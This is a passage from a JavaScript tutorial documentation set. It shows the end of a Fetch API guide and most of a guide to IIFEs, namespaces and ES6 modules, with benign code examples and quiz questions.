Response objects defined in the WHATWG Fetch Living Standard. It replaced the older XMLHttpRequest API and is now supported in all modern browsers and Node.js 18+. </Accordion> <Accordion title="What is the difference between fetch and XMLHttpRequest?"> Fetch uses Promises instead of callbacks, has a cleaner API, supports streaming, and integrates with Service Workers. XMLHttpRequest (XHR) is callback-based and older but supports progress events natively. According to the HTTP Archive's 2023 Web Almanac, Fetch usage has surpassed XHR in modern web applications, though XHR remains in legacy codebases. </Accordion> <Accordion title="Why does fetch not throw an error on HTTP 404 or 500 responses?"> Fetch only rejects its Promise on network failures (no internet, DNS errors, CORS blocked). An HTTP 404 or 500 is still a successful network response — the server replied. You must check `response.ok` or `response.status` manually to detect HTTP errors. This is the most common Fetch gotcha for beginners. </Accordion> <Accordion title="How do you cancel a fetch request in JavaScript?"> Use the AbortController API. Create an `AbortController`, pass its `signal` to `fetch()`, and call `controller.abort()` when you need to cancel. This throws an `AbortError` that you can catch. AbortController was added to the DOM specification and is supported in all modern browsers. </Accordion> <Accordion title="What is the difference between GET and POST requests?"> GET requests retrieve data and should have no side effects — they are safe and idempotent. POST requests send data to create or modify resources. GET parameters go in the URL query string, while POST data goes in the request body. As defined in the HTTP/1.1 specification (RFC 7231), GET responses can be cached by browsers, but POST responses are not cached by default. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Promises" icon="handshake" href="/concepts/promises"> Fetch is Promise-based — you need to understand Promises first </Card> <Card title="async/await" icon="hourglass" href="/concepts/async-await"> Modern syntax for working with Promises and fetch </Card> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> How JavaScript handles async operations like fetch </Card> <Card title="DOM" icon="sitemap" href="/concepts/dom"> Often you'll fetch data and update the DOM with it </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Fetch API — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API"> Official MDN documentation for the Fetch API </Card> <Card title="Using Fetch — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch"> Comprehensive guide to using the Fetch API </Card> <Card title="Response — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Response"> Documentation for the Response object </Card> <Card title="AbortController — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/AbortController"> Documentation for cancelling fetch requests </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="How to Use Fetch with async/await" icon="newspaper" href="https://dmitripavlutin.com/javascript-fetch-async-await/"> Breaks down fetch into 5 simple recipes you can copy-paste. Great reference when you forget the exact syntax for POST requests or headers. </Card> <Card title="JavaScript Fetch API Ultimate Guide" icon="newspaper" href="https://blog.webdevsimplified.com/2022-01/js-fetch-api/"> Kyle Cook's written version of his popular YouTube tutorials. Covers GET, POST, error handling, and AbortController with the same clear teaching style. </Card> <Card title="Fetch API Error Handling" icon="newspaper" href="https://www.tjvantoll.com/2015/09/13/fetch-and-errors/"> The article that explains why fetch doesn't reject on 404/500. Short read that saves you hours of debugging the "#1 fetch mistake." </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript Fetch API" icon="video" href="https://www.youtube.com/watch?v=cuEtnrL9-H0"> Brad builds a simple app while explaining fetch concepts. Good if you learn better by watching someone code than reading docs. </Card> <Card title="Learn Fetch API in 6 Minutes" icon="video" href="https://www.youtube.com/watch?v=37vxWr0WgQk"> The fastest way to learn fetch if you're short on time. Kyle covers the essentials without any filler. </Card> <Card title="Async JS Crash Course - Callbacks, Promises, Async/Await" icon="video" href="https://www.youtube.com/watch?v=PoRJizFvM7s"> Covers callbacks, Promises, and async/await before getting to fetch. Watch this if you want the full async picture, not just fetch. </Card> </CardGroup> ================================================ FILE: docs/concepts/iife-modules.mdx ================================================ --- title: "IIFE & Namespaces" sidebarTitle: "IIFE, Modules & Namespaces: Structuring Code" description: "Learn how to organize JavaScript code with IIFEs, namespaces, and ES6 modules. Understand private scope, exports, dynamic imports, and common module mistakes." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Functions & Execution" "article:tag": "IIFE immediately invoked function expression, javascript modules, namespace pattern, ES6 modules, code organization" --- How do you prevent your JavaScript variables from conflicting with code from other files or libraries? How do modern applications organize thousands of lines of code across multiple files? ```javascript // Modern JavaScript: Each file is its own module // utils.js export function formatDate(date) { return date.toLocaleDateString() } // main.js import { formatDate } from './utils.js' console.log(formatDate(new Date())) // "12/30/2025" ``` This is **[ES6 modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules)**. It's JavaScript's built-in way to organize code into separate files, each with its own private scope. But before modules existed, developers invented clever patterns like **IIFEs** and **namespaces** to solve the same problems. <Info> **What you'll learn in this guide:** - What IIFEs are and why they were invented - How to create private variables and avoid global pollution - What namespaces are and how to use them - Modern ES6 modules: import, export, and organizing large projects - The evolution from IIFEs to modules and why it matters - Common mistakes with modules and how to avoid them </Info> <Warning> **Prerequisite:** This guide assumes you understand [scope and closures](/concepts/scope-and-closures). IIFEs and the module pattern rely on closures to create private variables. If closures feel unfamiliar, read that guide first! </Warning> --- ## What is an IIFE? An **[IIFE](https://developer.mozilla.org/en-US/docs/Glossary/IIFE)** (Immediately Invoked Function Expression) is a JavaScript function that runs as soon as it's defined. As documented on MDN, it creates a private scope to protect variables from polluting the global namespace. This pattern was essential before ES6 modules existed. ```javascript // An IIFE — runs immediately, no calling needed (function() { const private = "I'm hidden from the outside world"; console.log(private); })(); // Runs right away! // The variable "private" doesn't exist out here // console.log(private); // ReferenceError: private is not defined ``` The parentheses around the function turn it from a declaration into an expression, and the `()` at the end immediately invokes it. This was the go-to pattern for creating private scope before JavaScript had built-in modules. According to the 2023 State of JS survey, ES modules are now used by the vast majority of JavaScript developers, but IIFEs remain common in bundler output and legacy codebases. <Note> **Historical context:** IIFEs were everywhere in JavaScript codebases from 2010-2015. Today, most projects use ES6 modules (`import`/`export`), so you won't write many IIFEs in modern code. However, understanding them is valuable. You'll encounter IIFEs in older codebases, libraries, and they're still useful for specific cases like async initialization or quick scripts. </Note> --- ## The Messy Desk Problem: A Real-World Analogy Imagine you're working at a desk covered with papers, pens, sticky notes, and coffee cups. Everything is mixed together. When you need to find something specific, you have to dig through the mess. And if someone else uses your desk? Chaos. Now imagine organizing that desk: ``` ┌─────────────────────────────────────────────────────────────────────┐ │ THE MESSY DESK (No Organization) │ │ │ │ password = "123" userName = "Bob" calculate() │ │ config = {} helpers = {} API_KEY = "secret" │ │ utils = {} data = [] currentUser = null init() │ │ │ │ Everything is everywhere. Anyone can access anything. │ │ Name conflicts are common. It's hard to find what you need. │ └─────────────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────────────┐ │ THE ORGANIZED DESK (With Modules) │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ auth.js │ │ api.js │ │ utils.js │ │ │ │ │ │ │ │ │ │ │ │ • login() │ │ • fetch() │ │ • format() │ │ │ │ • logout() │ │ • post() │ │ • validate()│ │ │ │ • user │ │ • API_KEY │ │ • helpers │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ │ Each drawer has its own space. Take only what you need. │ │ Private things stay private. Everything is easy to find. │ └─────────────────────────────────────────────────────────────────────┘ ``` This is the story of how JavaScript developers learned to organize their code: 1. **First**, we had the messy desk — everything in the global scope 2. **Then**, we invented **IIFEs** — a clever trick to create private spaces 3. **Next**, we created **Namespaces** — grouping related things under one name 4. **Finally**, we got **Modules** — the modern, built-in solution Let's learn each approach and understand when to use them. --- ## Part 1: IIFE — The Self-Running Function ### Breaking Down the Name The acronym IIFE tells you exactly what it does: - **Immediately** — runs right now - **Invoked** — called/executed - **[Function Expression](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function)** — a function written as an expression (not a declaration) ```javascript // A normal function — you define it, then call it later function greet() { console.log("Hello!"); } greet(); // You have to call it // An IIFE — it runs immediately, no calling needed (function() { console.log("Hello!"); })(); // Runs right away! ``` ### Expression vs Statement: Why It Matters for IIFEs To understand IIFEs, you need to understand the difference between **expressions** and **statements** in JavaScript. ``` ┌─────────────────────────────────────────────────────────────────────┐ │ EXPRESSION vs STATEMENT │ │ │ │ EXPRESSION = produces a value │ │ ───────────────────────────── │ │ 5 + 3 → 8 │ │ "hello" → "hello" │ │ myFunction() → whatever the function returns │ │ x > 10 → true or false │ │ function() {} → a function value (when in expression position)│ │ │ │ STATEMENT = performs an action (no value produced) │ │ ────────────────────────────────────────────────── │ │ if (x > 10) { } → controls flow, no value │ │ for (let i...) { } → loops, no value │ │ function foo() { } → declares a function, no value │ │ let x = 5; → declares a variable, no value │ └─────────────────────────────────────────────────────────────────────┘ ``` **The key insight:** A function can be written two ways: ```javascript // FUNCTION DECLARATION (statement) // Starts with the word "function" at the beginning of a line function greet() { return "Hello!"; } // FUNCTION EXPRESSION (expression) // The function is assigned to a variable or wrapped in parentheses const greet = function() { return "Hello!"; }; ``` [Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) are always expressions: ```javascript const greet = () => "Hello!"; ``` **Why does this matter for IIFEs?** ```javascript // ✗ This FAILS — JavaScript sees "function" and expects a declaration function() { console.log("This causes a syntax error!"); }(); // SyntaxError: Function statements require a function name // (exact error message varies by browser) // ✓ This WORKS — Parentheses make it an expression (function() { console.log("This works!"); })(); // The parentheses tell JavaScript: "This is a value, not a declaration" ``` <Info> **Function Declaration vs Function Expression:** | Feature | Declaration | Expression | |---------|-------------|------------| | Syntax | `function name() {}` | `const name = function() {}` | | [Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting) | Yes (can call before definition) | No (must define first) | | Name | Required | Optional | | Use in IIFE | No | Yes (must use parentheses) | </Info> ### The Anatomy of an IIFE Let's break down the syntax piece by piece: ```javascript (function() { // your code here })(); // Let's label each part: ( function() { ... } ) (); │ │ │ │ │ └─── 3. Invoke (call) it immediately │ │ │ └─────── 2. Wrap in parentheses (makes it an expression) │ └──────────────────────────── 1. Define a function ``` <Tip> **Why the parentheses?** Without them, JavaScript thinks you're writing a function declaration, not an expression. The parentheses tell JavaScript: "This is a value (an expression), not a statement." </Tip> ### IIFE Variations There are several ways to write an IIFE. They all do the same thing: ```javascript // Classic style (function() { console.log("Classic IIFE"); })(); // Alternative parentheses placement (function() { console.log("Alternative style"); }()); // Arrow function IIFE (modern) (() => { console.log("Arrow IIFE"); })(); // With parameters ((name) => { console.log(`Hello, ${name}!`); })("Alice"); // Named IIFE (useful for debugging) (function myIIFE() { console.log("Named IIFE"); })(); ``` ### Why Were IIFEs Invented? Before ES6 modules, JavaScript had a big problem: **everything was global**. When scripts were loaded with regular `<script>` tags, variables declared with [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var) outside of functions became global and were shared across all scripts on the page, leading to conflicts: ```javascript // file1.js var userName = "Alice"; // var creates global variables var count = 0; // file2.js (loaded after file1.js) var userName = "Bob"; // Oops! Overwrites the first userName var count = 100; // Oops! Overwrites the first count // Now file1.js's code is broken because its variables were replaced ``` IIFEs solved this by creating a **private scope**: ```javascript // file1.js — wrapped in an IIFE (function() { var userName = "Alice"; // Private to this IIFE var count = 0; // Private to this IIFE // Your code here... })(); // file2.js — also wrapped in an IIFE (function() { var userName = "Bob"; // Different variable, no conflict! var count = 100; // Different variable, no conflict! // Your code here... })(); ``` ### Practical Example: Creating Private Variables One of the most powerful uses of IIFEs is creating **private variables** that can't be accessed from outside: ```javascript const counter = (function() { // Private variable — can't be accessed directly let count = 0; // let is block-scoped, perfect for private state // Private function — also hidden function log(message) { console.log(`[Counter] ${message}`); } // Return public interface return { increment() { count++; log(`Incremented to ${count}`); }, decrement() { count--; log(`Decremented to ${count}`); }, getCount() { return count; } }; })(); // Using the counter counter.increment(); // [Counter] Incremented to 1 counter.increment(); // [Counter] Incremented to 2 console.log(counter.getCount()); // 2 // Trying to access private variables console.log(counter.count); // undefined (it's private!) counter.log("test"); // TypeError: counter.log is not a function ``` This pattern is called the **Module Pattern**. It uses [closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures) to keep variables private. It was the standard way to create "modules" before ES6. ### IIFE with Parameters You can pass values into an IIFE: ```javascript // Passing jQuery to ensure $ refers to jQuery (function($) { // Inside here, $ is definitely jQuery $(".button").click(function() { console.log("Clicked!"); }); })(jQuery); // Passing window and document for performance (function(window, document) { // Accessing window and document is slightly faster // because they're local variables now const body = document.body; const location = window.location; })(window, document); ``` ### When to Use IIFEs Today With ES6 modules, IIFEs are less common. But they're still useful for: <AccordionGroup> <Accordion title="1. One-time initialization code"> ```javascript // Run setup code once without leaving variables behind const config = (() => { const env = process.env.NODE_ENV; const apiUrl = env === 'production' ? 'https://api.example.com' : 'http://localhost:3000'; return { env, apiUrl }; })(); ``` </Accordion> <Accordion title="2. Creating async IIFEs"> ```javascript // Top-level await isn't always available // IIFE lets you use async/await anywhere (async () => { // async functions return Promises const response = await fetch('/api/data'); const data = await response.json(); console.log(data); })(); ``` </Accordion> <Accordion title="3. Avoiding global pollution in scripts"> ```javascript // In a <script> tag (not a module) (function() { // All variables here are private const secretKey = "abc123"; // Only expose what's needed window.MyApp = { init() { /* ... */ } }; })(); ``` </Accordion> </AccordionGroup> --- ## Part 2: Namespaces — Organizing Under One Name ### What is a Namespace? A **namespace** is a container that groups related code under a single name. It's like putting all your kitchen items in a drawer labeled "Kitchen." ```javascript // Without namespace — variables everywhere var userName = "Alice"; var userAge = 25; var userEmail = "alice@example.com"; function userLogin() { /* ... */ } function userLogout() { /* ... */ } // With namespace — everything organized under one name var User = { name: "Alice", age: 25, email: "alice@example.com", login() { /* ... */ }, logout() { /* ... */ } }; // Access with the namespace prefix console.log(User.name); User.login(); ``` ### Why Use Namespaces? ``` Before Namespaces: After Namespaces: Global Scope: Global Scope: ├── userName └── MyApp ├── userAge ├── User ├── userEmail │ ├── name ├── userLogin() │ ├── login() ├── userLogout() │ └── logout() ├── productName ├── Product ├── productPrice │ ├── name ├── productAdd() │ ├── price ├── cartItems │ └── add() ├── cartAdd() └── Cart └── cartRemove() ├── items ├── add() 11 global variables! └── remove() 1 global variable! ``` ### Creating a Namespace The simplest namespace is just an object: ```javascript // Simple namespace const MyApp = {}; // Add things to it MyApp.version = "1.0.0"; MyApp.config = { apiUrl: "https://api.example.com", timeout: 5000 }; MyApp.utils = { formatDate(date) { return date.toLocaleDateString(); }, capitalize(str) { return str.charAt(0).toUpperCase() + str.slice(1); } }; // Use it console.log(MyApp.version); console.log(MyApp.utils.formatDate(new Date())); ``` ### Nested Namespaces For larger applications, you can nest namespaces: ```javascript // Create the main namespace const MyApp = { // Nested namespaces Models: {}, Views: {}, Controllers: {}, Utils: {} }; // Add to nested namespaces MyApp.Models.User = { create(name) { /* ... */ }, find(id) { /* ... */ } }; MyApp.Views.UserList = { render(users) { /* ... */ } }; MyApp.Utils.Validation = { isEmail(str) { return str.includes('@'); } }; // Use nested namespaces const user = MyApp.Models.User.create("Alice"); MyApp.Views.UserList.render([user]); ``` ### Combining Namespaces with IIFEs The best of both worlds: organized AND private: ```javascript const MyApp = {}; // Use IIFE to add features with private variables MyApp.Counter = (function() { // Private let count = 0; // Public return { increment() { count++; }, decrement() { count--; }, getCount() { return count; } }; })(); MyApp.Logger = (function() { // Private const logs = []; // Public return { log(message) { logs.push({ message, time: new Date() }); console.log(message); }, getLogs() { return [...logs]; // Return a copy } }; })(); // Usage MyApp.Counter.increment(); MyApp.Logger.log("Counter incremented"); ``` <Note> **Namespaces vs Modules:** Namespaces are a pattern, not a language feature. They help organize code but don't provide true encapsulation. Modern ES6 modules are the preferred approach for new projects, but you'll still see namespaces in older codebases and some libraries. </Note> --- ## Part 3: ES6 Modules — The Modern Solution ### What are Modules? **Modules** are JavaScript's built-in way to organize code into separate files, each with its own scope. Unlike IIFEs and namespaces (which are patterns), modules are a **language feature**. The [`export`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export) statement makes functions, objects, or values available to other modules. The [`import`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import) statement brings them in. ```javascript // math.js — A module file export function add(a, b) { return a + b; } export function subtract(a, b) { return a - b; } export const PI = 3.14159; // main.js — Another module that uses math.js import { add, subtract, PI } from './math.js'; console.log(add(2, 3)); // 5 console.log(subtract(10, 4)); // 6 console.log(PI); // 3.14159 ``` ### Why Modules are Better | Feature | IIFE/Namespace | ES6 Modules | |---------|---------------|-------------| | File-based | No (one big file) | Yes (one module per file) | | True privacy | Partial (IIFE only) | Yes (unexported = private) | | Dependency management | Manual | Automatic (import/export) | | Static analysis | No | Yes (tools can analyze) | | Tree shaking | No | Yes (remove unused code) | | Browser support | Always | Modern browsers + bundlers | ### How to Use Modules #### In the Browser ```html <!-- Add type="module" to use ES6 modules --> <script type="module" src="main.js"></script> <!-- Or inline --> <script type="module"> import { greet } from './utils.js'; greet('World'); </script> ``` #### In Node.js ```javascript // Option 1: Use .mjs extension // math.mjs export function add(a, b) { return a + b; } // Option 2: Add "type": "module" to package.json // Then use .js extension normally ``` <Note> **What about `require()` and `module.exports`?** You might see this older syntax in Node.js code: ```javascript // CommonJS (older Node.js style) const fs = require('fs'); module.exports = { myFunction }; ``` This is called **CommonJS**, Node.js's original module system. While still widely used, ES modules (`import`/`export`) are the modern standard and work in both browsers and Node.js. New projects should use ES modules. </Note> --- ## Exporting: Sharing Your Code There are two types of exports: **named exports** and **default exports**. ### Named Exports Named exports let you export multiple things from a module. Each has a name. ```javascript // utils.js // Export as you declare export const PI = 3.14159; export function square(x) { return x * x; } export class Calculator { add(a, b) { return a + b; } } // Or export at the end const E = 2.71828; function cube(x) { return x * x * x; } export { E, cube }; ``` ### Default Export Each module can have ONE default export. It's the "main" thing the module provides. ```javascript // greeting.js // Default export — no name needed when importing export default function greet(name) { return `Hello, ${name}!`; } // You can have named exports too export const defaultName = "World"; ``` ```javascript // Another example — default exporting a class // User.js export default class User { constructor(name) { this.name = name; } greet() { return `Hi, I'm ${this.name}`; } } ``` ### When to Use Each <Tabs> <Tab title="Named Exports"> **Use when:** - You're exporting multiple things - You want clear, explicit imports - You want to enable tree-shaking ```javascript // utils.js export function formatDate(date) { /* ... */ } export function formatCurrency(amount) { /* ... */ } export function formatPhone(number) { /* ... */ } // Import only what you need import { formatDate } from './utils.js'; ``` </Tab> <Tab title="Default Export"> **Use when:** - The module has one main purpose - You're exporting a class or component - The import name doesn't need to match ```javascript // Button.js — React component export default function Button({ label }) { return <button>{label}</button>; } // Import with any name import MyButton from './Button.js'; ``` </Tab> </Tabs> --- ## Importing: Using Other People's Code ### Named Imports Import specific things by name (must match the export names): ```javascript // Import specific items import { PI, square } from './utils.js'; // Import with a different name (alias) import { PI as pi, square as sq } from './utils.js'; // Import everything as a namespace object import * as Utils from './utils.js'; console.log(Utils.PI); console.log(Utils.square(4)); ``` ### Default Import Import the default export with any name you choose: ```javascript // The name doesn't have to match the export name import greet from './greeting.js'; // In a DIFFERENT file, you could use a different name: // import sayHello from './greeting.js'; // Same function, different name // import xyz from './greeting.js'; // Still the same function! // Combine default and named imports import greet, { defaultName } from './greeting.js'; ``` <Tip> **Why any name?** Default exports don't have a required name, so you choose what to call it when importing. This is useful but can make code harder to search. Named exports are often preferred for this reason. </Tip> ### Side-Effect Imports Sometimes you just want to run a module's code without importing anything: ```javascript // This runs the module but imports nothing import './polyfills.js'; import './analytics.js'; // Useful for: // - Polyfills that add global features // - Initialization code // - CSS (with bundlers) ``` ### Import Syntax Summary ```javascript // Named imports import { a, b, c } from './module.js'; // Named import with alias import { reallyLongName as short } from './module.js'; // Default import import myDefault from './module.js'; // Default + named imports import myDefault, { a, b } from './module.js'; // Import all as namespace import * as MyModule from './module.js'; // Side-effect import import './module.js'; ``` --- ## Organizing a Real Project Let's see how modules work in a realistic project structure: ``` my-app/ ├── index.html ├── src/ │ ├── main.js # Entry point │ ├── config.js # App configuration │ ├── utils/ │ │ ├── index.js # Re-exports from utils │ │ ├── format.js │ │ └── validate.js │ ├── services/ │ │ ├── index.js │ │ ├── api.js │ │ └── auth.js │ └── components/ │ ├── index.js │ ├── Button.js │ └── Modal.js ``` ### The Index.js Pattern (Barrel Files) Use `index.js` to re-export from multiple files: ```javascript // utils/format.js export function formatDate(date) { /* ... */ } export function formatCurrency(amount) { /* ... */ } // utils/validate.js export function isEmail(str) { /* ... */ } export function isPhone(str) { /* ... */ } // utils/index.js — re-exports everything export { formatDate, formatCurrency } from './format.js'; export { isEmail, isPhone } from './validate.js'; // Now in main.js, you can import from the folder import { formatDate, isEmail } from './utils/index.js'; // Or even shorter (works with bundlers and Node.js, not native browser modules): import { formatDate, isEmail } from './utils'; ``` ### Real Example: A Simple App ```javascript // config.js export const API_URL = 'https://api.example.com'; export const APP_NAME = 'My App'; // services/api.js import { API_URL } from '../config.js'; export async function fetchUsers() { const response = await fetch(`${API_URL}/users`); return response.json(); } export async function fetchPosts() { const response = await fetch(`${API_URL}/posts`); return response.json(); } // services/auth.js import { API_URL } from '../config.js'; let currentUser = null; // Private to this module export async function login(email, password) { const response = await fetch(`${API_URL}/login`, { method: 'POST', body: JSON.stringify({ email, password }) }); currentUser = await response.json(); return currentUser; } export function getCurrentUser() { return currentUser; } export function logout() { currentUser = null; } // main.js — Entry point import { APP_NAME } from './config.js'; import { fetchUsers } from './services/api.js'; import { login, getCurrentUser } from './services/auth.js'; console.log(`Welcome to ${APP_NAME}`); async function init() { await login('user@example.com', 'password'); console.log('Logged in as:', getCurrentUser().name); const users = await fetchUsers(); console.log('Users:', users); } init(); ``` --- ## Dynamic Imports Sometimes you don't want to load a module until it's needed. **[Dynamic imports](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import)** load modules on demand: ```javascript // Static import — always loaded import { bigFunction } from './heavy-module.js'; // Dynamic import — loaded only when needed async function loadWhenNeeded() { const module = await import('./heavy-module.js'); module.bigFunction(); } // Common use: Code splitting for routes async function loadPage(pageName) { switch (pageName) { case 'home': const home = await import('./pages/Home.js'); return home.default; case 'about': const about = await import('./pages/About.js'); return about.default; case 'contact': const contact = await import('./pages/Contact.js'); return contact.default; } } // Common use: Conditional loading (inside an async function) async function showCharts() { if (userWantsCharts) { const { renderChart } = await import('./chart-library.js'); renderChart(data); } } ``` <Tip> **Performance tip:** Dynamic imports are great for loading heavy libraries only when needed. This makes your app's initial load faster. </Tip> --- ## The Evolution: From IIFEs to Modules Here's how the same code would look in each era: <Tabs> <Tab title="Era 1: Global (Bad)"> ```javascript // Everything pollutes global scope var counter = 0; function increment() { counter++; } function getCount() { return counter; } // Problem: Anyone can do this counter = 999; // Oops, state corrupted! ``` </Tab> <Tab title="Era 2: IIFE (Better)"> ```javascript // Uses closure to hide counter var Counter = (function() { var counter = 0; // Private! return { increment: function() { counter++; }, getCount: function() { return counter; } }; })(); Counter.increment(); console.log(Counter.getCount()); // 1 console.log(Counter.counter); // undefined (private!) ``` </Tab> <Tab title="Era 3: ES6 Modules (Best)"> ```javascript // counter.js let counter = 0; // Private (not exported) export function increment() { counter++; } export function getCount() { return counter; } // main.js import { increment, getCount } from './counter.js'; increment(); console.log(getCount()); // 1 // counter variable is not accessible at all ``` </Tab> </Tabs> --- ## Common Patterns and Best Practices ### 1. One Thing Per Module Each module should do one thing well: ```javascript // ✗ Bad: One file does everything // utils.js with 50 different functions // ✓ Good: Separate concerns // formatters.js — formatting functions // validators.js — validation functions // api.js — API calls ``` ### 2. Keep Related Things Together ```javascript // user/ // ├── User.js # User class // ├── userService.js # User API calls // ├── userUtils.js # User-related utilities // └── index.js # Re-exports public API ``` ### 3. Avoid Circular Dependencies ```javascript // ✗ Bad: A imports B, B imports A // a.js import { fromB } from './b.js'; export const fromA = "A"; // b.js import { fromA } from './a.js'; // Circular! export const fromB = "B"; // ✓ Good: Create a third module for shared code // shared.js export const sharedThing = "shared"; // a.js import { sharedThing } from './shared.js'; // b.js import { sharedThing } from './shared.js'; ``` ### 4. Consider Default Exports for Components/Classes A common convention is to use default exports when a module has one main purpose: ```javascript // Components are usually one-per-file // Button.js export default function Button({ label, onClick }) { return <button onClick={onClick}>{label}</button>; } // Usage is clean import Button from './Button.js'; ``` ### 5. Use Named Exports for Utilities ```javascript // Multiple utilities in one file // stringUtils.js export function capitalize(str) { /* ... */ } export function truncate(str, length) { /* ... */ } export function slugify(str) { /* ... */ } // Import only what you need import { capitalize } from './stringUtils.js'; ``` --- ## Common Mistakes to Avoid ### Mistake 1: Confusing Named and Default Exports One of the most common sources of confusion is mixing up how to import named vs default exports: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ NAMED vs DEFAULT EXPORT CONFUSION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ EXPORTING IMPORTING │ │ ───────── ───────── │ │ │ │ Named Export: Must use { braces }: │ │ export function greet() {} import { greet } from './mod.js' │ │ export const PI = 3.14 import { PI } from './mod.js' │ │ │ │ Default Export: NO braces: │ │ export default function() {} import greet from './mod.js' │ │ export default class User {} import User from './mod.js' │ │ │ │ ⚠️ Common Error: │ │ import greet from './mod.js' ← Looking for default, but file has │ │ named export! Results in undefined │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ```javascript // utils.js — has a NAMED export export function formatDate(date) { return date.toLocaleDateString() } // ❌ WRONG — Importing without braces looks for a default export import formatDate from './utils.js' console.log(formatDate) // undefined! No default export exists // ✓ CORRECT — Use braces for named exports import { formatDate } from './utils.js' console.log(formatDate) // [Function: formatDate] ``` <Warning> **The Trap:** If you see `undefined` when importing, check whether you're using braces correctly. Named exports require `{ }`, default exports don't. This is the #1 cause of "why is my import undefined?" bugs. </Warning> ### Mistake 2: Circular Dependencies Circular dependencies occur when two modules import from each other. This creates a "chicken and egg" problem that causes subtle, hard-to-debug issues: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ CIRCULAR DEPENDENCY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ user.js userUtils.js │ │ ┌──────────┐ ┌──────────────┐ │ │ │ │ ──── imports from ────► │ │ │ │ │ User │ │ formatUser() │ │ │ │ class │ ◄─── imports from ───── │ createUser() │ │ │ │ │ │ │ │ │ └──────────┘ └──────────────┘ │ │ │ │ 🔄 PROBLEM: When user.js loads, it needs userUtils.js │ │ But userUtils.js needs User from user.js │ │ Which isn't fully loaded yet! → undefined │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ```javascript // ❌ PROBLEM: Circular dependency // user.js import { formatUserName } from './userUtils.js' export class User { constructor(name) { this.name = name } } // userUtils.js import { User } from './user.js' // Circular! user.js imports userUtils.js export function formatUserName(user) { return user.name.toUpperCase() } export function createDefaultUser() { return new User('Guest') // 💥 User might be undefined here! } ``` ```javascript // ✓ SOLUTION: Break the cycle with restructuring // user.js — no imports from userUtils export class User { constructor(name) { this.name = name } } // userUtils.js — imports from user.js (one direction only) import { User } from './user.js' export function formatUserName(user) { return user.name.toUpperCase() } export function createDefaultUser() { return new User('Guest') // Works! User is fully loaded } ``` <Tip> **Rule of Thumb:** Draw your import arrows. They should flow in one direction like a tree, not in circles. If module A imports from B, module B should NOT import from A. If you need shared code, create a third module that both can import from. </Tip> --- ## Key Takeaways <Info> **The key things to remember:** 1. **IIFEs** create private scope by running immediately — useful for initialization and avoiding globals 2. **Namespaces** group related code under one object — reduces global pollution but isn't true encapsulation 3. **ES6 Modules** are the modern solution — file-based, true privacy, and built into the language 4. **Named exports** let you export multiple things — import what you need by name 5. **Default exports** are for the main thing a module provides — one per file 6. **Dynamic imports** load modules on demand — great for performance optimization 7. **Each module has its own scope** — variables are private unless exported 8. **Use modules for new projects** — IIFEs and namespaces are for legacy code or special cases 9. **Organize by feature or type** — group related modules in folders with index.js barrel files 10. **Avoid circular dependencies** — they cause confusing bugs and loading issues </Info> --- ## Test Your Knowledge Try to answer each question before revealing the solution: <AccordionGroup> <Accordion title="Question 1: What does IIFE stand for and why was it invented?"> **Answer:** IIFE stands for **Immediately Invoked Function Expression**. It was invented to solve the problem of global scope pollution. Before ES6 modules, all JavaScript code shared the same global scope. Variables from different files could accidentally overwrite each other. IIFEs create a private scope where variables are protected from outside access. </Accordion> <Accordion title="Question 2: What's the difference between named exports and default exports?"> **Answer:** **Named exports:** - Can have multiple per module - Must be imported by exact name (or aliased) - Use `export { name }` or `export function name()` - Import with `import { name } from './module.js'` **Default exports:** - Only one per module - Can be imported with any name - Use `export default` - Import with `import anyName from './module.js'` ```javascript // Named export export const PI = 3.14; import { PI } from './math.js'; // Default export export default function add(a, b) { return a + b; } import myAdd from './math.js'; // Any name works ``` </Accordion> <Accordion title="Question 3: How do you create a private variable in an IIFE?"> **Answer:** Declare the variable inside the IIFE. It won't be accessible from outside because it's in the function's local scope. ```javascript const module = (function() { // Private variable let privateCounter = 0; // Return public methods that can access it return { increment() { privateCounter++; }, getCount() { return privateCounter; } }; })(); module.increment(); console.log(module.getCount()); // 1 console.log(module.privateCounter); // undefined (private!) ``` </Accordion> <Accordion title="Question 4: What's the difference between static and dynamic imports?"> **Answer:** **Static imports:** - Loaded at the top of the file - Always loaded, even if not used - Analyzed at build time - Syntax: `import { x } from './module.js'` **Dynamic imports:** - Can be loaded anywhere in the code - Loaded only when the import() call runs - Loaded at runtime, returns a Promise - Syntax: `const module = await import('./module.js')` ```javascript // Static import — always at the top, always loaded import { heavyFunction } from './heavy-module.js' // Dynamic import — loaded only when needed async function loadOnDemand() { const module = await import('./heavy-module.js') module.heavyFunction() } // Or with .then() syntax import('./heavy-module.js').then(module => { module.heavyFunction() }) ``` Use dynamic imports for code splitting and loading modules on demand. </Accordion> <Accordion title="Question 5: Why should you avoid circular dependencies?"> **Answer:** Circular 